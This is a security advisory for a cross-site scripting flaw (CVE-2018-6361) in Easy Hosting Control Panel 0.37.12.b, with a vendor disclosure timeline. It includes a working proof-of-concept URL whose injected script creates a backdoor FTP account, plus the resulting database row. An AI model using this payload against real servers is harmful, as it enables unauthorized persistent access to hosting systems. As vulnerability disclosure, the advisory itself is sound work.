Easy Hosting Control Panel 0.37.12.b Cross Site Scripting Add FTP Account

`[+] Credits: hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/EHCP-v0.37.12.b-XSS-FTP-BACKDOOR-ACCOUNT.txt  
[+] ISR: Apparition Security   
  
  
***Greetz: indoushka|Eduardo|Dirty0tis***  
  
  
Vendor:  
=============  
www.ehcp.net  
  
  
Product:  
===========  
Easy Hosting Control Panel  
v0.37.12.b  
  
  
Ehcp is a Hosting Control Panel.  
Ehcp is a tool in a server to facilate the process of hosting domains, emails, adding domains, ftp users and so on.  
  
  
  
Vulnerability Type:  
===================  
Cross Site Scripting  
  
  
CVE Reference:  
==============  
CVE-2018-6361  
  
  
Security Issue:  
================  
EHCP does not properly sanitize input allowing remote attackers to add backdoor FTP accounts to the system.  
  
e.g.  
  
http://127.0.0.1/ehcp/index.php?op=<script>$.ajax({url:'http://127.0.0.1/ehcp/index.php?op=addftpuser%26id=6',data:{ftpusername:"attacker",password:"hatred1",quota:"100",upload:"1000",download:1000,op:"addFtpUser",_insert:1},datatype:"json",contentType:"application/json; charset=utf-8",type:'POST',success:function(data){alert(status);}});</script>  
  
result.  
  
MariaDB [ehcp]> select * from ftpaccounts;  
+----+------+-------------+-------------------------------------------+------------+----------+---------------+--------------+--------+---------+----------+  
| id | host | ftpusername | password | domainname | reseller | panelusername | homedir | status | type | datetime |  
+----+------+-------------+-------------------------------------------+------------+----------+---------------+--------------+--------+---------+----------+  
| 6 | NULL | attacker | *EE3F0EB3C99D91BE0D0002E6DACE6CD28913009E | | admin | admin | | active | | NULL |  
+----+------+-------------+-------------------------------------------+------------+----------+---------------+--------------+--------+---------+----------+  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
Medium  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: January 26, 2018  
Vendor Acknowledges issues: January 27, 2018  
Mitre Assigns CVE : January 29, 2018  
Informed vendor of CVE : January 31, 2018  
Vendor "Will be fixed soon, I think." : Febuary 2, 2018  
Request update : Febuary 8, 2018  
Vendor : "no progress yet. Will inform you any progress." : Febuary 10, 2018  
Inform vendor of 90 day disclose policy : Febuary 10, 2018  
Request update : February 21, 2018  
Vendor "Not Yet." : Febuary 22, 2018  
Request update : March 3, 2018  
Vendor "I plan to start check/fixes with Ubuntu 18.04." : March 3, 2018  
Request ETA : March 4, 2018  
Vendor "Will start working when Ubuntu 18.04 released" : March 4, 2018  
Request update : March 25, 2018  
Vendor "password storage already fixed, others waiting for next release." : March 26, 2018  
Request update : April 13, 2018  
Vendor "same situation" : April 15, 2018  
Remind vendor of 90 day disclose policy : April 16, 2018  
No reply  
Request update : April 22, 2018  
No reply  
Remind vendor again : April 27, 2018  
No reply  
May 9, 2018 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`